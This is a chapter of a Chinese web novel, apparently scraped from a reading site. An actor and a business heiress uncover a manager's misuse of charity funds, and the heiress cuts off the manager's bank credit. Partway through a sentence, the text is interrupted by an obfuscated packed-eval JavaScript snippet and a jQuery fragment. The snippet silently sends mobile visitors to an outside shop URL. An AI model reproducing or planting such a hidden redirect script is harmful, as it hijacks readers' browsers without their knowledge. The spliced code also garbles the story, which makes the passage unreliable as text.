“戏台都已搭好,我这个主角又岂有缺席之理?”
这个在风暴中心的男人,和这个已经步入漩涡中心的女人,一样的从容不迫。
“我跟槿导请了两天假。”
会议室门打开,被众人目光注视的许鹤缓缓起身,他的上目线也随之调整成了下目线,但不变的是他的目光,一直都未离开过他眼前的这个女人。
这个身穿黑色西服正装的女人,是许鹤眼中对徐懿的又一个全新画像。
“我有话要跟你说。”
全心全意,如无他人之境。
江意澜何等人精,立马将空间留了出来。
会议室的大门轻轻落下,但站着的二人却一动未动。
徐懿看着眼前这个已快一个月未见面的男人,他的眼神之中藏了太多情绪,她看到了期冀、勇敢、无畏、愧疚、或许还有一丝心疼。
他居然在心疼自己。
而许鹤在十个小时之前得知这个如核弹一般的消息之后,第一反应居然不是如何澄清这拆股吃肉般恨意的抹黑,而是在想,之后她在群狼环伺的环境之中又该如何自处。
这个长满了黑心的恶意舆论会给她造成什么困扰?甚至又会给她带来多大的损失?她的继承人的位置是否会动摇?
这纷杂的思绪让他无法冷静下来,以至于他一闭上眼,便是在梦中的那个场景。
是的,徐懿已经出现过在他的梦境之中。
梦中的她,独自一人坐在了椭圆圆桌之中,虽空旷无人,但周围依旧嘈杂,人声鼎沸,句句都是对她的讨伐。她就那样望着自己,那孤楚的眼神如匕首一般刺进了他的心脏。
而冷静下来之后,他再一次领会到了自己对于徐懿的特殊性。
原来他不仅仅只是沈孤鹤的替身。
也早已成为了豪门权斗的筹码。
他无心入局,却已成为了一枚至关重要的棋子。
他虽不懂金融,但是却看得清棋局,今日这出戏,怕不是有心之人早已设计好的,只待你我入局。
那这场仗,他便更加没有理由不好好应战了。
与你并肩作战,是我至高无上的荣耀。
“你该不会又要跟我说抱歉了吧?”
“抱歉解决不了任何问题。我这次,是带着解决方案来的。”
“哦?”这个答案让徐懿很意外,也很惊喜,对于此次的突发舆情,在她原先的布局之中并未有许鹤的身影。
她没想到,许鹤居然没有藏在她的身后,而是选择站了出来,与她并肩作战。
这种感觉,让她新奇而又动容。
“我已经将我多年来匿名捐款的材料全部发给了舆情专项小组。”他低头苦笑了一下,先是慈善款被石小群挪用被造谣诈捐,再到今日凌晨升级“贪欲过盛,利用粉丝敛财”的抹黑,这点自证在这些泼天的恶意面前,确实是杯水车薪。
“另外,我已经联系到了玉和的财务,她现在也在易坤。”
这真是一个让人惊喜的答案,连带让这位喜怒不形于色的商业帝国继承人的眼中也漏出了几缕兴奋。
这种情绪上的反馈让说出这个答案的男人不自觉眉峰上挑了一下,但很快便消失,“玉和的财务李洪利,是跟了小群姐多年的下属,整个玉和的帐她最清楚。”
“据李洪利所述,这个慈善项目的情况是这样的。”
他牵住了徐懿的手腕,骨节分明的这只手将这个包裹在黑色西服下的铁腕掌控在了掌心之间。
徐懿就这样被拉至会议桌前,她的手腕处似乎还停留着刚刚的那一缕束缚之感。
她看着眼前的许鹤熟练地点开了笔记本电脑中的文件,密密麻麻的数据以及文字很快充满了整张屏幕。
“你看这里,玉和文化从前年开始就已经出现了严重的财务危机,现金流接近枯竭。小群姐之前高杠杆投资的几个项目反响均一般,成本均未收回,但是银行的利息并不会停止计算。”许鹤点击着笔记本电脑的屏幕,打开了另外一个文件,“这里很清楚的显示了玉和每月所需偿还的利息金额,以及玉和现有资金情况,但在去年的这个时候,账上突然多了一笔钱,足以覆盖接下来半年的利息,但是此时却没有实质性项目的收入入账。”
“你会看财务报表?”
徐懿的反问,让许鹤停下了手下的动作,他微微点了点头,脸上的表情也没有炫耀,也没有邀功,只是很平静,“母亲一直在财政口工作,我没报考戏剧学院之前,家里对我的规划就是去读财经大学的金融系。”
“而这个时间点,恰好与那个虚假的慈善项目时间线重合。她便是利用这个空壳的慈善项目,套走了全部的捐款,拿去填了玉和的利息窟窿。”
条理清晰的分析让徐懿下意识地将视线偏离了几分,落点在了这个坐在她身旁的男人的身上。视线扫过他黑框眼镜下的眉眼,到他高耸挺直的鼻梁,那带着几分薄情的嘴唇,以及那凸起的喉结,还有那在屏幕前勾画着真相青筋尽显的那只大手。
这张脸近距离所带来的冲击感远比荧幕前更加强烈,尤其是此时有着黑框眼镜加持下的许鹤,这将他身上的那几分文人气质渲染得更加浓厚了几分。
他怎么会联系到石小群的财务?他又是如何劝解石小群的财务来到易坤?他又用了什么手段来说服石小群的财务愿意提供这些最机密的数据?
这些问题,充斥在徐懿的脑海之中。
因为此刻的她,发现自己对许鹤原来并不完全了解,他不是沉默寡言的演员许鹤,他也不是需要受她保护的许鹤。
眼前的这个男人,心思缜密,温柔之下也藏着锋芒,他远比她想象得更加强大。
这种挣破了身份壁垒的认知,让徐懿开始重新审视着她和许鹤之间的关系。
许鹤察觉到了她的停顿,转头问:“这里不对吗?”
因为受限于笔记本电脑的屏幕尺寸,两人此时的距离极近,徐懿甚至乎感觉到了许鹤说话时的气息轻扫过她的耳尖,这让她耳后瞬间泛起了一丝热意,她迅速收回视线,将视线再次落点在了屏幕前。
“据我所得到的消息,玉和文化出现财务危机之后,多家银行均拒绝了石小群的授信申请,但是石小群为了高杠杆运作项目而签下的对赌协议,却一直步步紧逼。如果是这种情况的话,倒是能解释为什么石小群宁愿冒着违法犯罪的危险,也要虚构一个慈善项目出来,利用你的影响力敛财,然后再生吞这一笔慈善款。毕竟,人被逼入绝境的时候,根本不会保留更多的理智...”
微蹙的眉头,聚精会神的目光,这是出现在许鹤眼前的这张侧脸。
在今日下午抬头看到她的那一刻,许鹤便已被她征服。
黑色的西服是她的铠甲,凌厉的气场是她的锋芒,怎会有人已经站在风口浪尖之处还如此的沉稳和笃定。
她的这张侧脸,他在会议室内冷冽的灯光下见过,在徐家宅邸中晨曦下见过,在雨夜中昏黄的灯光下见过。
可每一次见,都不一样。
或许,连她自己都没有意识到,当她专注的时候,如春山远黛般的眉尾之处总是会微微压低,在眉心之处聚成一道极浅的痕。
这种专注让许鹤想起了她曾说过的那句话——“我抗压能力很强的。”
可是如果真的抗压能力很强的话,此时她的耳后又怎会泛起了点点红晕。
这抹红晕像是这世间最不可抗拒的魔咒一样,蛊惑着他,想要伸出手来,轻抚并揉搓这抹浅红。
“笃笃”
克制的敲门声打断了这一室微妙的气氛。
“请进。”
“小徐董,巨信银团的马志宏来电。”
张雯口中的这几个字,点燃了徐懿眼中的那一簇火花,她的眉头跳动了一下,示意张雯将电话接入室内的会议电话。
一声明显带着讨好的开场白拉开了这场对话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617435|203504||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的帷幕。
“小徐董,打扰,打扰。”
“Philip,今日不知吹什么风,吹到你得闲同我来电?”
眼底漫不经心的凉薄在此刻写尽。她的视线还落在眼前屏幕的财务数据之上,语气淡得就像随口一问的寒暄,听不出半分波澜。
可这种肃杀的凉意,直让电话那头的马志宏心惊了几分。
“小徐董,您说笑了,近日繁忙,早该给您去电问候,是我疏忽,还望小徐董莫见怪。”话语说得极慢,似是在忖度这场对话的每一个词语的使用,深怕哪个字眼的不合适,便惹得电话这头的不快,马志宏的语气之中包裹着小心翼翼的试探,“刚刚业务部门上报说东堃突然间停了和我们银团后续的合作?我想着巨信一向同东堃合作得很顺意,不知是不是底下的人出了什么纰漏,惹小徐董不快了,特意来跟您抱一声歉。”
马志宏并未直接询问为何东堃突然间停了和巨信的合作的背后原因,而是将过错先揽在了自己的身上,把进退都留了余地,也是一个在市场浸染多年的聪明人。
徐懿闻言低头笑了一下,声音很轻,语气很冷,她的指尖在桌面轻轻敲打着,声响不大,但听在马志宏耳里就像生命的倒计时一样令人心生惧意。
“纰漏?Philip你都是老江湖了,什么生意可以做,什么混水不能趟,还用我教你吗?”
没有点出石小群,也没有点出玉和文化,但是听在马志宏的耳里却是最严厉的警告。
电话那头的马志宏额头上已经被激出一层薄汗,豪门权斗,他以为自己可以八面玲珑,两头端水谁也不得罪,但是电话这头的这位大人物直接斩杀了他的后路,这是对他站错队最直接的惩戒。
“是是,小徐董说得对,是我们风控尽调的失职,没有摸清楚情况,平白给小徐董造成了麻烦,是我们的不是。”
很难想象这是一个年逾六十的老人对比他年幼二十有余的年轻人的歉意之词。
如此卑微,如此谨慎。
马志宏立刻涤清了表态,语气诚恳,“小徐董,巨信即刻会停了对玉和文化的授信审批,绝对不会再给您添一点麻烦,还望您海涵,再给巨信一个机会。”
“嗯。”
一声轻哼,是对这句诚恳表态的回应。
随即,这个手指便斩断了这场对话的继续。
寥寥数句之间,便决策了一笔上亿授信贷款的生与死。
同样,也宣告了某些人的死期。
“小徐董,是否同时吹风给其他机构?”
“不用,我想Philip都会主动做好这件事的,况且,她现在已经没有机会了。”
这场对话中的“她”又指的是谁?
许鹤旁观着这场波澜不惊却杀伐暗藏的对话,从零碎的字眼之中也拼凑出了这场对话背后的细节。
石小群为何会给徐家慧递上这样一张投名状,也不是打得一手攀附徐家权势算盘,石小群以为自己攀上了徐家慧,就能拿到巨信银团的贷款授信,解决玉和文化现如今现金流枯竭的危机,起死回生。但是她却拜错了山头,得罪了根本不该得罪的人。
“今日是展期的最后一日,石小群那边情况如何?”
“她一直要求同您见面,不知现下是否合适?”
“再等等,等Philip那边的风再吹多一会。”
“好。”
张雯颔首,然后无声地退出了会议室。
她毫不掩饰的野心,以及将人逼至绝境的狠辣手段,没有一丝一毫的保留。
尽数展现在了许鹤的眼前。
“怎么,现在的你会怕我吗?”
为《鹤影孤诏》专门续的长发,此时有一缕跌落在了他的眼前,许鹤就这样看着眼前的这个女人,轻轻捻起这缕碎发,将其压至他的耳后,他甚至感觉她的手指轻擦过了他的耳廓。
一只强有力的大手再次掌控住了这个手腕。